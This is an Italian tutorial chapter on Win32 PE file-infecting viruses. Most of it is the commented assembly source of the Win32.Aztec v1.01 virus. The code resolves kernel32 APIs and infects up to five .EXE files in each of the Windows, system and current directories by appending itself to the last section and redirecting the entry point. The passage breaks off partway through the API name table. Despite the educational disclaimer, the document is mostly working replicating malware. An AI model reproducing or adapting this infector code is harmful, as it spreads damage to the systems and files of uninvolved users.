Minima Anonyma Tabularia Ex Reti
nihil vacuum neque sine signo apud MATER
Questa pubblicazione contiene
informazioni e codice sorgente relativi alla sicurezza informatica. Lo
scopo di queste informazioni è di aiutare gli utenti ad accrescere la propria
capacità di programmazione. Questo materiale è a puro scopo didattico e non
include codice distruttivo né documenti attinenti ad alcuna attività illegale.
Si declina ogni responsabilità nel caso chiunque utilizzi le suddette
informazioni per creare, compilare e diffondere intenzionalmente programmi
diretti a danneggiare o interrompere un sistema informatico o telematico,
ovvero a provocarne l'interruzione, totale o parziale, o l'alterazione del suo
funzionamento Art. 615-quinquies (Legge n. 547/93 pubblicata in Gazzetta Ufficiale
n. 305 del 30.12.1993)
§ MATER Liber Quintus §
indice
Un virus
infettore di windows segue le caratteristiche di un exe infettore di DOS, con
le differenze dovute principalmente alla diversa struttura, precedentemente
vista, del file PE. Esistono varie tecniche di inserimento del codice virale
nel programma ospite e a vari livelli. In questa sede tratteremo l’inserimento
di un virus attraverso l’ampliamento dell’ultima sezione del file ospitante
(un’altra tecnica consiste nell’aggiungere un’altra sezione) a livello utente
(Ring3).
Come sotto
DOS, anche qui abbiamo la modifica di alcuni campi dell’header del file
infettato, mentre le differenze principali rispetto ad un generico EXE
infettore di DOS consistono in:
-
determinazione
degli indirizzi delle funzioni API utilizzate dal virus;
-
mappatura
del file da infettare in memoria;
-
allineamento
della somma virus + file host.
Come si può notare, la principale differenza
consiste nella manipolazione dei dati (qui intesi come file da infettare), i
quali non vengono più gestiti su disco ma mappati in memoria con la tecnica del
file mapping. Rammentiamo che tale tecnica consiste nel caricare (mappare) in
memoria il file, modificarlo e quindi demapparlo per “rilasciarlo” su disco. La
determinazione degli indirizzi delle API utilizzate dal codice virale non è
caratteristica necessaria, e in molti virus “dedicati” ad una sola piattaforma,
ad esempio Win95 o Win NT, tale routine può essere omessa semplicemente
“hard-codificando” tali indirizzi, cioè inserendo tali indirizzi come assoluti
e costanti.
Un paio di
definizioni che ci torneranno utili:
host-RAM:
programma caricato in RAM e già infettato;
host-disco:
programma su disco da infettare.
E’ necessario
considerare che il codice virale, che possiede la caratteristica di copiare sé
stesso in un altro file eseguibile, deve poter memorizzare al suo interno
alcune variabili necessarie al suo corretto funzionamento. Negli EXE infettori
sotto DOS tali variabili conservavano i primi n-bytes sostituiti
dall’istruzione JMP; in un Win32 infettore queste variabili sono l’EIP e
l’Image Base. Ogni virus “appeso” al suo file ospitante deve poter avere tali
informazioni per ritornare il controllo al suo HOST.
Nel codice
virale, in prossimità della chiamata alla routine di infezione troveremo quindi
un costrutto simile:
push
EIP, ImageBase ; salva le variabili
call
infetta ; le variabili saranno
modificate per poi essere copiate nell’host-disco
pop EIP,ImageBase ; ripristina le variabili
ret ; ritorna il controllo
all’host-disco
Come si vede, le
variabili necessarie per ritornare il controllo all’host-disco (il programma
che ospita il codice virale che sta girando) vengono prima salvate nello stack,
dato che durante il processo infettivo verranno modificate per poter essere
copiate nel codice virale inserito nell’host-disco (programma che il codice
virale sta infettando), e quindi ripristinate riprendendole dallo stack.
Studieremo Aztec, un semplice virus ad azione diretta (runtime)
che può girare in tutte le piattaforme Win32 (ricava gli indirizzi delle API
che utilizza dinamicamente). Infetta 5 files nelle seguenti directory:
corrente, windows e system. Non contiene routines di stealth o di
crittografazione. Non contiene routines di payload.
Azioni eseguite
da virus:
1.
ricava il delta offset;
2.
ricava l’ImageBase del processo corrente
(host-RAM);
3.
call GetK32: ricava gli indirizzi di kernel32;
4.
call GetAPI: ricava gli indirizzi delle API
utilizzate;
5.
prepareinfection(): cerca le directory in cui
infettare;
6.
infectitall(): si reca nella directory;
7.
infect(): localizza un file da infettare
(host-disco);
8.
__1: salva l’EIP (vecchio EIP) e l’ImageBase
dell’host-RAM (che verranno modificate durante l’infezione) nello stack;
9.
infection(): apre il file da infettare. Ricava la
sua misura in bytes e lo mappa in memoria. Controlla la presena di ‘PE’.
Controlla se è già stato infettato;
10. ricava la somma in bytes dimensioni files + virus. Allinea e
mappa tale somma;
11. sposta il puntatore all’ulstima sezione del file;
12. ricava EIP del file che sta per infettare e lo salva in OLDEIP.
Fa lo stesso con IMAGEBASE (salvato in MODBASE). Ricava SizeOfRawData
dell’ultima sezione del file da infettare e la salva. Aggiunge a SizeOfRawData
il valore di PointerOfRawData e salva tale somma. Riprende SizeOfRawData e a
questa somma l’indirizzo VA (0ch). In questo modo si ottiene il nuovo EIP per
l’HOST. Scrive il nuovo EIP nell’header dell’host-disco e lo salva. In questo
modo ogni volta che si esegue l’host il controllo passa subito al virus
localizzato in appende all’ultima sezione.
13. modifica l’header con i nuovi valori. Modifica i flag
dell’ultima sezione;
14. inserisce la marcatura di file infettato. Copia il virus
nell’ultima sezione;
15. chiude il file host-disco.
16. siamo all’ultima infezione (3 directory, 5 files per dir) ? Se
sì, ripesca (dallo stack) il vecchio EIP e la vecchia ImageBase dell’host-RAM
che erano stati salvati nello stack prima di chiamare infection() e vai a 17;
17. siamo alla prima generazione ?
-
sì: fakehost(), messaggio e ritorno a Windows.
-
no: somma il vecchio entry point alla vecchia
ImageBase dell’host-RAM (salvati in 8 e ripristinata in 16) e va ad eseguire
l’host-RAM.
;-----------------------------------------------------------------------------------------------------------------
; Virus Name : Aztec v1.01
; Virus Author : Billy Belcebu/iKX
; Origin : Spain
; Platform : Win32
; Target : PE files
; (c) 1999 Billy Belcebu/iKX
;-----------------------------------------------------------------------------------------------------------------
.386p ; 386+
.model
flat ;
siamo a 32 bit niente segmenti
jumps ; per evitare salti fuori dal
range
extrn MessageBoxA:PROC ; importate per la prima generazione
extrn
ExitProcess:PROC
;
;
alcune costanti utilizzate dal virus
virus_size
equ (offset virus_end-offset
virus_start)
heap_size
equ (offset heap_end-offset
heap_start)
total_size
equ virus_size+heap_size
shit_size
equ (offset delta-offset
aztec)
; due
indirizzi utilizzati solo per la 1a generazione
kernel_ equ 0BFF70000h
kernel_wNT equ
077F00000h
.data
szTitle
db "[Win32.Aztec
v1.01]",0
szMessage
db "Aztec is a bugfixed
version of my Iced Earth",10
db "virus, with some optimizations and with some",10
db "'special' features
removed. Anyway, it will",10
db "be able to spread
in the wild succefully :)",10,10
db "(c) 1999 by Billy
Belcebu/iKX",0
;----------------------------------------------------------------------------------------------------------------
;
alcune macro, stringhe per il messaggio per la prima generazione, e così
via.
;-----------------------------------------------------------------------------------------------------------------
.code
virus_start label
byte
aztec:
pushad ; Pusha tutti i registri (20
bytes)
pushfd ; Pusha i FLAG (4 bytes)
call delta
; ricava il delta offset
delta: pop
ebp
mov eax,ebp
sub ebp,offset delta
sub eax,shit_size ; ricava l’ Image Base
sub eax,00001000h ;
NewEIP equ
$-4
mov dword ptr [ebp+ModBase],eax
;----------------------------------------------------------------------------------------------------------------
; 1) RICAVA IL DELTA
OFFSET
; 2) RICAVA
L’IMAGE BASE DEL PROCESSO CORRENTE
; inseriamo nello
stack tutti I registri e I flags (non perché ne abbiamo bisogno, ma perché è
buona
; abitudine
farlo) Quindi otteniamo il delta offset.
; Seguono le
istruzioni per ottenere la Image Base del processo corrente. Ne avremo
bisogno per ritornare
; il controllo ad
esso (all’ host –RAM) Prima di tutto sottraiamo i bytes ta l’etichetta del
delta e l’etichetta
; aztec label (7
bytes->PUSHAD (1)+PUSHFD (1)+CALL (5)), poi sottraiamo l’EIP corrente
(modificato
; durante
l’infezione) e otteniamo così l’ Image Base corrente.
;----------------------------------------------------------------------------------------------------------------
mov esi,[esp+24h] ; ricava l0indirizzo di ritorno
and esi,0FFFF0000h ; Allinea a
10 pagine
mov ecx,5 ; 50 pagine (in gruppi di 10)
call GetK32
; Chiama
mov dword ptr [ebp+kernel],eax ; EAX deve essere l’ind.base di K32
;----------------------------------------------------------------------------------------------------------------
; 3) RICAVA GLI
INDIRIZZI DEL KERNEL32
;; Inseriamo in
ESI l’indirizzo dal quale è stato chiamato questo processo (è in KERNEL32.DLL,
; probabilmente
API CreateProcess), che inizialmente corrisponde all’indirizzo puntato da ESP,
ma
; utilizzando lo
stack per inserire 24 bytes (20 usati da PUSHAD, gli altri 4 per PUSHFD), lo
abbiamo
; fissato. Quindi
lo allineamo a 10 pagine, ponendo a 0
la word meno significativa di ESI. Quind settiamo
; gli altri
parametri per la procedura GetK32: ECX, che contiene il massimo numero di
gruppi di 10
; pagine da
cercare per 5 (che dà 5*10=50 pagine), e chiamiamo la routine. GETK32 ci
ritorna l’indirizzo
; di base di
KERNEL32, che salviamo.
;----------------------------------------------------------------------------------------------------------------
lea edi,[ebp+@@Offsetz]
lea esi,[ebp+@@Namez]
call GetAPIs
; Ricava indirizzi di tutte le API
call
PrepareInfection
call InfectItAll
;----------------------------------------------------------------------------------------------------------------
; 4) RICAVA GLI
INDIRIZZI DELLE API UTILIZZATE
; 5) CERCA LE
DIRECTORY IN CUI INFETTARE
; 6) SI RECA
NELLE DIRECTORY
; Qui prepariamo
I parametri per la routine GetAPIs: in EDI
un puntatore ad un array di DWORDs che
; conterrà gli
indirizzi delle API, e in ESI tutti I nomi delle API (ASCIIz) che ci servono.
;----------------------------------------------------------------------------------------------------------------
xchg ebp,ecx
; è alla prima generazione?
jecxz fakehost
popfd ; Ripristina i flags
popad ; Ripristina i registri
mov eax,12345678h
org $-4 ; $ = indirizzo della riga !
OldEIP dd 00001000h
add eax,12345678h
org $-4
ModBase dd
00400000h
jmp eax
;----------------------------------------------------------------------------------------------------------------
; 17) SIAMO ALLA
PRIMA GENERAZIONE ? SI – RITORNA AL S.O.; NO – SOMMA VECCHIO
; ENTRY POINT ALLA VECCHIA IMAGE BASE E
VA AD ESEGUIRE L’HOST-RAM
; Per prima cosa
controlliamo se siamo alla prima generazione, controllando se EBP è uguale a
zero. Se
; zero, effettuiamo un salto alla funzione
fakehost.
; Se non siamo
alla prima generazione, tiriamo fuori dallo stack i registri di FLAG, e quindi
i registri
; estesi.
Dopodiché abbiamo l’istruzione che mette in EAX il vecchio entry point che
aveva il programma
; infettato
(l’host-RAM) e che era stato modificato
durante l’infezione, e dopo aggiungiamo ad esso
;
l’ImageBase del processo corrente,
modificato a runtime. Quindi effettuiamo un jmp all’indirizzo
; contenuto da
EAX (vecchio entry point Host-RAM + ImageBase), ritornando in questa maniera il
; controllo all’host-RAM.
;----------------------------------------------------------------------------------------------------------------
PrepareInfection:
lea
edi,[ebp+WindowsDir] ;
Punta alla prima directory
push 7Fh
; Pusha la misura del buffer
push edi ; Pusha indirizzo del buffer
call
[ebp+_GetWindowsDirectoryA] ;
directory di Windows
add edi,7Fh ; Punta alla seconda
directory
push 7Fh
; Pusha la misura del buffer
push edi
; Pusha indirizzo del buffer
call
[ebp+_GetSystemDirectoryA] ;
directory di sistema
add edi,7Fh ; Punta alla terza
directory
push
edi ; Pusha la misura del buffer
push 7Fh
; Pusha indirizzo del buffer
call
[ebp+_GetCurrentDirectoryA] ;
directory corrente
ret
;----------------------------------------------------------------------------------------------------------------
; VA NELLE TRE
DIRECTORY PRESCELTE
; Questa è una
semplice procedura per ottenere le directory dove cercare i files da infettare,
in questo
; particolare
ordine. Dato che la lunghezza massima di una directory è 7F bytes, mettiamo nell’heap (vedi
; sotto) tre
variabili consecutive; in questo modo evitiamo che codice non usato occupi più
bytes, e dati
; non utilizzati
viaggino con li virus.
;----------------------------------------------------------------------------------------------------------------
InfectItAll:
lea
edi,[ebp+directories] ;
Puntatore alla 1a directory
mov byte ptr [ebp+mirrormirror],03h ; 3
directories
requiem:
push
edi ; Seta directory puntata da EDI
call
[ebp+_SetCurrentDirectoryA]
push edi ; Salva EDI
call Infect
; Infetta I files nella dir.
pop edi ; Ripristina EDI
add edi,7Fh ; un’altra directory
dec byte ptr [ebp+mirrormirror] ; decrementa il contatore
jnz requiem ; è l’ultima ?
ret
;----------------------------------------------------------------------------------------------------------------
; DIRECTORY
PRESCELTA COME DIR.CORRENTE
; facciamo in modo
che EDI punti alla prima dir nell’array, dopodiché settiamo il numero delle
; directories che
vogliamo infettare (dirs2inf=3). Poi ritorniamo al loop principale, che
consiste nel
; cambiare la
directory selezionata in directory corrente, infettare i files in tale
directory, e così via.
;----------------------------------------------------------------------------------------------------------------
Infect: and
dword ptr [ebp+infections],00000000h ; resetta contatore
lea eax,[ebp+offset
WIN32_FIND_DATA] ; trova WFD
push eax ; la pusha
lea eax,[ebp+offset
EXE_MASK] ; cosa cerchiamo ?
push
eax ;
lo pusha
call
[ebp+_FindFirstFileA] ;
trova il primo file
inc eax ; CMP EAX,0FFFFFFFFh
jz
FailInfect ;
JZ FAILINFECT
dec eax
mov dword ptr
[ebp+SearchHandle],eax ; Sala l’handle di ricerca
;----------------------------------------------------------------------------------------------------------------
; TROVA IL PRIMO
FILE
; Questa è la
prima parte della routine. La prima linea è per ripulire il contatore
dell’infezione
; ottimizzando il
codice (AND occupa meno spazio di MOV). Quindi cerchiamo i files da infettare.
In
; DOS avevamo l’
INT 21 e le funzioni 4Eh/4Fh. In Win32 abbiamo due API equivalenti:
FindFirstFile e
; FindNextFile.
Ora cerchiamo il primo file nella directory. Tutte le funzioni per trovare
files in Win32
; hanno in comune
una struttura (ricordate il DTA?) chiamata WIN32_FIND_DATA (abbreviata spesso
; in WFD). La
struttura è illustrata più oltre.
;----------------------------------------------------------------------------------------------------------------
__1: push
dword ptr [ebp+OldEIP] ;
Sala OldEIP e ModBase,
push dword ptr [ebp+ModBase]
; modificati nell’infezione
call Infection ; Infetta un’altro file
pop dword ptr [ebp+ModBase] ; Ripristina
pop dword
ptr [ebp+OldEIP]
inc byte ptr
[ebp+infections] ; incrementa
contatore
cmp
byte ptr [ebp+infections],05h ; non più di 5 files
jz FailInfect ;
;----------------------------------------------------------------------------------------------------------------
; 8)
SALVA L’EIP E L’IMAGE BASE DELL’HOST-RAM NELLO STACK
; VA AD INFETTARE
; 16)
RIPRISTINA IL VECCHIO EIP E LA VECCHIA
IMAGEBASE
; Per prima cosa
preserviamo il contenuto di alcune variabili indispensabili quando più tardi
torneremo il
; controllo
all’host-RAM, che saranno modificate durante l’infezione. Quindi chiamiamo la
routine di
; infezione, per
la quale abbiamo bisogno solo dellaWFD. Ad ogni infezione incrementiamo il
contatore
; e controlliamo
se abbiamo già infettato 5 files. Se sì, usciamo dalla procedura infettiva.
;----------------------------------------------------------------------------------------------------------------
__2: lea
edi,[ebp+WFD_szFileName] ;
Ptr al nome del file
mov
ecx,MAX_PATH ;
ECX = 260
xor al,al ; AL = 00
rep stosb ; pulisce il vecchio nome
lea
eax,[ebp+offset WIN32_FIND_DATA] ; Ptr a WFD
push eax ; lo pusha
push dword ptr
[ebp+SearchHandle] ; Pusha l’Handle
di ricerca
call [ebp+_FindNextFileA] ; trova un’altro file
or eax,eax ; errore?
jnz __1 ; No, Infetta
ancora
CloseSearchHandle:
push dword ptr [ebp+SearchHandle] ; Pusha l’handle di ricerca
call [ebp+_FindClose] ; chiudi
FailInfect:
ret
;----------------------------------------------------------------------------------------------------------------
; TROVA IL
PROSSIMO FILE DELLA DIR. PRESCELTA
; Il primo blocco
di codice cancella i dati nella struttura WFD (i dati del nome del file), per
evitare problemi durante la ricerca
; di un altro
file. Quindi chiamiamo l’API FindNextFile.
;----------------------------------------------------------------------------------------------------------------
Infection:
lea esi,[ebp+WFD_szFileName] ; trova iul file da infettare
push 80h
push esi
call [ebp+_SetFileAttributesA] ; ci servono gli attributes
call OpenFile
; lo apre
inc eax ; se EAX = -1, c’è un errore
jz
CantOpen ;
dec eax
mov dword ptr
[ebp+FileHandle],eax
;----------------------------------------------------------------------------------------------------------------
; 9) INFEZIONE:
APRE IL FILE
; Qui vengono settati gli attributi del file a
"Normal file" attraverso al funzione API SetFileAttributes
;----------------------------------------------------------------------------------------------------------------
mov ecx,dword ptr [ebp+WFD_nFileSizeLow] ; crea una mappa della
call CreateMap ; misura esatta
or eax,eax
jz CloseFile
mov dword ptr
[ebp+MapHandle],eax
mov ecx,dword ptr
[ebp+WFD_nFileSizeLow]
call MapFile ; Mappa il file
or eax,eax
jz UnMapFile
mov dword ptr
[ebp+MapAddress],eax
;----------------------------------------------------------------------------------------------------------------
; MAPPA IL FILE
; Mettiamo in ECX
la misura del file che stiamo per mappare, quindi chiamiamo la funzione
; per creare la
mappatura del file. Controlliamo i possibili errori. Se non ci sono,
continuiamo,
;altrimenti
chiudiamo il file. Quindi salviamo l’handle di mappatura (mapping handle) e ci
prepariamo a mapapre il
; file con la
funzione MapFile. Come prima, controlliamo i possibili errori. Se tutto è ok,
salviamo
; l’indirizzo di
mappatura
;----------------------------------------------------------------------------------------------------------------
mov esi,[eax+3Ch]
add esi,eax
cmp dword ptr [esi],"EP" ; E’ un formato PE?
jnz NoInfect ; ricorda INTEL memorizza alla rovescia
cmp dword ptr
[esi+4Ch],"CTZA" ; è già
infettato ?
jz NoInfect
push dword ptr [esi+3Ch]
push dword ptr [ebp+MapAddress]
; chiude tutto
call
[ebp+_UnmapViewOfFile]
push dword ptr [ebp+MapHandle]
call [ebp+_CloseHandle]
pop ecx
;----------------------------------------------------------------------------------------------------------------
; IL FILE E’ UN
PE ? E’ GIA’ STATO INFETTATO ?
; Dato che
abbiamo l’indirizzo di inzio mappatura in EAX, ricaviamo il puntatore
all’header PE header
;
(MapAddress+3Ch), e lo normalizziamo, così in ESI avremo il puntatore
all’header PE.
; controlliamo se
tutto è ok, quindi controlliamo per la segnatura ‘PE’ e se il file è già stato
infettato.
; controllando la
presenza di una marcatura all’offset 4Ch, non utilizzato dal programma. Se non
c’è
; marcatura,
continuiamo. Successivamente salviamo nello stack il File Alignment e quindi unmappiamo
; la mappatura e
chiudiamo l’handle di mapping. Finalmente riprendiamo dallo stack il File
Alignment
; e lo inseriamo
in ECX
;----------------------------------------------------------------------------------------------------------------
mov eax,dword ptr [ebp+WFD_nFileSizeLow] ; mappa di nuovo
add
eax,virus_size
call Align
xchg ecx,eax
call CreateMap
or eax,eax
jz CloseFile
mov
dword ptr [ebp+MapHandle],eax
mov ecx,dword ptr
[ebp+NewSize]
call MapFile
or eax,eax
jz UnMapFile
mov dword ptr
[ebp+MapAddress],eax
mov esi,[eax+3Ch]
add esi,eax
;----------------------------------------------------------------------------------------------------------------
; 10) SOMMA FILE + VIRUS. MAPPA LA SOMMA
; dato che
abbiamo il File Alignment in ECX (preparato per la funzione 'Align', che
richiede il valore del
; fattore di
allineamento in ECX mettiamo in EAX la misura (la somma delle misure) del file
aperto più la
; misura del
virus (EAX è il numero da allineare), quindi chiamiamo la funzione 'Align' che
ritorna il
; valore
allineati in EAX. Per esempio, se il fattore di allineamento è 200h, e la
misura File Size+Virus
; è 12345h, il
numero che ritornerà dalla funzione 'Align' sarà 12400h. Quindi moettiamo in
ECX
; il numero
allineato.Chiamiamo poi di nuovo
CreateMap. ma ora mappiamo la misura del file allineata.
; Infine
rimettiamo in ESI il puntatore al PE header.
;----------------------------------------------------------------------------------------------------------------
mov edi,esi ; EDI = ESI = Ptr all’header PE
movzx eax,word ptr [edi+06h]
; AX = n. di sezioni
dec eax ; AX--
imul eax,eax,28h ; EAX = AX*28
add esi,eax
;
Normalizza
add esi,78h ; Ptr alla dir table
mov edx,[edi+74h] ; EDX = n. di dir entries
shl edx,3 ; EDX = EDX*8
add
esi,edx ; ESI = Ptr
all’ultima sezione
;----------------------------------------------------------------------------------------------------------------
; 11) SPOSTA IL
PUNTATORE ALL’ULTIMA SEZIONE DEL FILE
; Facciamo che
anche EDI punti al PE header. Quindi mettiamo in AX il numero delle sezioni
(una
; WORD), e lo
dcrementiamo. Poi moltiplichiamo il contenuto di AX (numero di sezioni-1 –
dobbiamo
; puntare
all’heder dell’ultima sezione, non oltre !) per 28h (la misura in bytes del
section header) e quindi
; aggiungiamo ad
essa l’offset del PE header. Successivamente facciamo in modo che ESI punti
alla
; dir table, e
mettiamo EDX il numero delle entries della dir. Poi moltiplichiamo tale valore
per 8, e
; finalmente aggiungiamo
il risultato (in EDX) a ESI, così ESI punterà all’ultima sezione.
;----------------------------------------------------------------------------------------------------------------
mov eax,[edi+28h] ; ricava EP
mov dword ptr
[ebp+OldEIP],eax ; lo salva
mov eax,[edi+34h] ; ricava imagebase
mov dword ptr [ebp+ModBase],eax ; lo salva
mov edx,[esi+10h] ; EDX = SizeOfRawData
mov ebx,edx ; EBX = EDX
add edx,[esi+14h] ; EDX = EDX+PointerToRawData
push edx
; salva EDX
mov eax,ebx ; EAX = EBX
add eax,[esi+0Ch] ; EAX = EAX+VA Address
; EAX = New EIP
mov [edi+28h],eax ; Cambia il
nuovo EIP
mov dword ptr [ebp+NewEIP],eax ; e lo salva
;----------------------------------------------------------------------------------------------------------------
; 12) AGGIORNA
I VALORI DELLA SEZIONE
; Innanzitutto
mettiamo in EAX l’ EIP del file che stiamo infettando (l’host-disco) mettiamo
il vecchio
; EIP in una variabile che utilizzeremo
all’inizio del virus. Facciamo lo stesso con la imagebase.
; Dopo di ciò,
mettiamo in EDX la SizeOfRawData dell’ultima sezione, la manteniamo per dopo in
; EBX, e infine
aggiungiamo a EDX il PointerToRawData (EDX sarà utilizzato più tardi quando
copiamo il virus, così lo
;salviamo nello
stack). Dopo mettiamo in EAX la SizeOfRawData, aggiungiamo ad
; essa
l’indirizzo VA Address: così abbiamo in EAX il nuovo EIP per l’host-disco. Quindi
scriviamo tale
; valore nel PE
header dell’host-disco, e in un’altra variabile.
;----------------------------------------------------------------------------------------------------------------
mov eax,[esi+10h] ; EAX = nuovo SizeOfRawData
add
eax,virus_size ;
EAX = EAX+VirusSize
mov ecx,[edi+3Ch] ; ECX = FileAlignment
call Align ; Allinea
mov
[esi+10h],eax ; Nuovo SizeOfRawData
mov [esi+08h],eax ; Nuovo VirtualSize
pop edx ; EDX = puntatore Raw alla fine
; della sezione
mov eax,[esi+10h] ; EAX = Nuova SizeOfRawData
add
eax,[esi+0Ch] ;
EAX = EAX+VirtualAddress
mov [edi+50h],eax ; EAX = Nuovo SizeOfImage
or dword ptr [esi+24h],0A0000020h ; inserisce i nuovi flag di sezione
;----------------------------------------------------------------------------------------------------------------
; 13) ALLINEA I
VALORI; MODIFICA I FLAG DELL’ULTIMA SEZIONE
; Per prima cosa
carichiamo in EAX la SizeOfRawData dell’ultima sezione, e poi ad essa la misura
del
; virus. In ECX
carichiamo il FileAlignment, chiamiamo la funzione 'Align' function, così in
EAX
; avremo il
valore allineato di SizeOfRawData+VirusSize.
; Esempio:
;
; SizeOfRawData - 1234h
; VirusSize - 400h
; FileAlignment - 200h
;
; Così,
SizeOfRawData più VirusSize sarà 1634h, e dopo l’allineamento diventerà 1800h.
; Così abbiamo il
valore allineato della nuova SizeOfRawData e la nuova VirtualSize. In questo
modo
; non avremo
problemi.
; Dopo di questo
calcoliamo la nuova SizeOfImage, che è sempre la somma della nuova
SizeOfRawData
; e di
VirtualAddress. Quindi mettiamo tale valore nel campo SizeOfImage del PE header
(offset 50h).
; Infine dobbiamo
settare gli attributi della sezione di cui abbiamo aumentato le dimensioni.
; Consideriamo le
seguenti le voci:
;
;
00000020h - Section contains code
;
40000000h - Section is readable
;
80000000h - Section is writable
;
; Noi applichiamo
a questi tre valori un’operazione di OR operation; il risultato sarà A0000020h.
; Così abbiamo in
OR anche gli attributi correnti, che non vogliamo cancellare.
;----------------------------------------------------------------------------------------------------------------
mov dword ptr [edi+4Ch],"CTZA" ; mette il marcatore
lea esi,[ebp+aztec] ; ESI = Ptr a virus_start
xchg edi,edx
; EDI = Raw ptr dopo l’ultima sezione
add edi,dword ptr [ebp+MapAddress] ; EDI = puntatore normalizzato
mov
ecx,virus_size ;
ECX = bytes da copiare
rep movsb ; copia il virus
jmp
UnMapFile ;
Unmap, close, etc.
;----------------------------------------------------------------------------------------------------------------
; 14) COPIA IL VIRUS
; nella prima
lineainseriamo la marcatura di infezione in un campo non utilizzato del PE
header (offset
; 4Ch, che sarebbe 'Reserved1'), per impedire
di infettare nuovamente il file. Quindi mettiamo in ESI
; un puntatore
all’inizio del codice virale. Poi mettiamo in EDI il valore che avevamo in EDX
; (ricordiamo
che: EDX = vecchia SizeOfRawData + PointerToRawData)
; Questo è il RVA
dove noi inseriremo il codice virale. Come indicato, è un RVA, che deve essere
; cambiato in VA.
Questo è fatto aggiungendo il valore su cui si basa il RVA. Esso è relativo
all’indirizzo
; dove ha inizio
la mappatura del file (se ricordiamo, è il valore di ritorno della funzione API
; MapViewOfFile).
Così finalmente abbiamo in EDI il VA dove scrivere il codice virale. In ECX
; carichiamo la
misura del virus, e copiamo il codice virale nell’ultima sezione.
;----------------------------------------------------------------------------------------------------------------
NoInfect:
dec byte ptr [ebp+infections]
mov ecx,dword ptr [ebp+WFD_nFileSizeLow]
call TruncFile
;----------------------------------------------------------------------------------------------------------------
; Arriviamo a
questo punto se durante l’infezione si
sono avuti errori. Decrementiamo il contatore di
; infezione e
tronchiamo il file alla misura che aveva prima dell’infezione.
;----------------------------------------------------------------------------------------------------------------
UnMapFile:
push dword ptr
[ebp+MapAddress] ; Chiusura
call [ebp+_UnmapViewOfFile]
CloseMap:
push dword ptr
[ebp+MapHandle] ; Chiusura mapping
call [ebp+_CloseHandle]
CloseFile:
push dword ptr
[ebp+FileHandle] ; Chiusura file
call [ebp+_CloseHandle]
CantOpen:
push dword ptr
[ebp+WFD_dwFileAttributes]
lea
eax,[ebp+WFD_szFileName] ;
Setta i vecchi attributi
push eax
call [ebp+_SetFileAttributesA]
ret
;----------------------------------------------------------------------------------------------------------------
; 15) CHIUDE
TUTTO
; chiudiamo tutto
quello che abbiamo aperto durante l’infezione:
; l’indirizzo di mappatura.
la mappatura, il file, e ripristiniamo i vecchi attributi.
;----------------------------------------------------------------------------------------------------------------
GetK32
proc
_@1:
cmp word ptr
[esi],"ZM"
jz WeGotK32
_@2: sub
esi,10000h
loop _@1
WeFailed:
mov ecx,cs
xor cl,cl
jecxz WeAreInWNT
mov esi,kernel_
jmp WeGotK32
WeAreInWNT:
mov esi,kernel_wNT
WeGotK32:
xchg eax,esi
ret
GetK32
endp
GetAPIs
proc
@@1:
push esi
push edi
call GetAPI
pop edi
pop esi
stosd
xchg edi,esi
xor al,al
@@2: scasb
jnz @@2
xchg edi,esi
@@3: cmp
byte ptr [esi],0BBh
jnz @@1
ret
GetAPIs
endp
GetAPI proc
mov edx,esi
mov edi,esi
xor al,al
@_1: scasb
jnz @_1
sub edi,esi ; EDI = misura nome API
mov ecx,edi
xor eax,eax
mov esi,3Ch
add esi,[ebp+kernel]
lodsw
add eax,[ebp+kernel]
mov esi,[eax+78h]
add esi,1Ch
add esi,[ebp+kernel]
lea edi,[ebp+AddressTableVA]
lodsd
add eax,[ebp+kernel]
stosd
lodsd
add eax,[ebp+kernel]
push
eax ; mov [NameTableVA],eax
stosd
lodsd
add eax,[ebp+kernel]
stosd
pop esi
xor ebx,ebx
@_3: lodsd
push esi
add eax,[ebp+kernel]
mov esi,eax
mov edi,edx
push ecx
cld
rep cmpsb
pop ecx
jz @_4
pop esi
inc ebx
jmp @_3
@_4:
pop esi
xchg eax,ebx
shl eax,1
add eax,dword ptr [ebp+OrdinalTableVA]
xor esi,esi
xchg eax,esi
lodsw
shl eax,2
add eax,dword ptr
[ebp+AddressTableVA]
mov esi,eax
lodsd
add eax,[ebp+kernel]
ret
GetAPI
endp
;----------------------------------------------------------------------------------------------------------------
; ROUTINE K32: IL KERNEL
; ROUTINE GETAPI:
GLI INDIRIZZI DELLE API
; Il codice di cui
sopra è già stato visto prima.
;----------------------------------------------------------------------------------------------------------------
; input:
;
EAX – Valore da allineare
;
ECX – Fattore di allineamento
; output:
;
EAX – Valore Allineato
Align
proc
push edx
xor edx,edx
push eax
div ecx
pop eax
sub ecx,edx
add eax,ecx
pop edx
ret
Align endp
;----------------------------------------------------------------------------------------------------------------
questa è la
procedura di allineamento.
;----------------------------------------------------------------------------------------------------------------
; input:
;
ECX - dove troncare
; output:
; Nulla.
TruncFile proc
xor eax,eax
push eax
push eax
push ecx
push dword ptr [ebp+FileHandle]
call [ebp+_SetFilePointer]
push dword ptr [ebp+FileHandle]
call [ebp+_SetEndOfFile]
ret
TruncFile endp
;----------------------------------------------------------------------------------------------------------------
; La funzione SetFilePointer
muove il file pointer di un file aperto.
;----------------------------------------------------------------------------------------------------------------
; input:
;
ESI – Puntatore al file da aprire
; output:
;
EAX - File handle (se va tutto
bene)
OpenFile
proc
xor eax,eax
push eax
push eax
push 00000003h
push eax
inc eax
push eax
push 80000000h or 40000000h
push
esi
call [ebp+_CreateFileA]
ret
OpenFile endp
;----------------------------------------------------------------------------------------------------------------
; apriamo il file
;----------------------------------------------------------------------------------------------------------------
; input:
;
ECX – misura da mappare
; output:
; EAX - MapHandle se
tutto OK
CreateMap
proc
xor eax,eax
push eax
push ecx
push eax
push 00000004h
push eax
push dword ptr
[ebp+FileHandle]
call [ebp+_CreateFileMappingA]
ret
CreateMap
endp
;----------------------------------------------------------------------------------------------------------------
; la funzione
CreateFileMapping function crea un named o unnamed file-mapping object per il
file
; specificato.
;----------------------------------------------------------------------------------------------------------------
; input:
;
ECX – idem come sopra
; output:
; EAX - MapAddress se
OK
MapFile
proc
xor eax,eax
push ecx
push eax
push eax
push 00000002h
push dword ptr [ebp+MapHandle]
call [ebp+_MapViewOfFile]
ret
MapFile endp
;----------------------------------------------------------------------------------------------------------------
; la funzione MapViewOfFile
mappa una “view” di un file nello spazion di indirizzamento del processo
chiamante.
;----------------------------------------------------------------------------------------------------------------
mark_ db "[Win32.Aztec v1.01]",0
db
"(c) 1999 Billy Belcebu/iKX",0
EXE_MASK
db "*.EXE",0
infections
dd 00000000h
kernel
dd kernel_
@@Namez label
byte
@FindFirstFileA db
"FindFirstFileA",0
@FindNextFileA
db "FindNextFileA",0
@FindClose db
"FindClose",0
@CreateFileA db
"CreateFileA",0
@SetFilePointer db
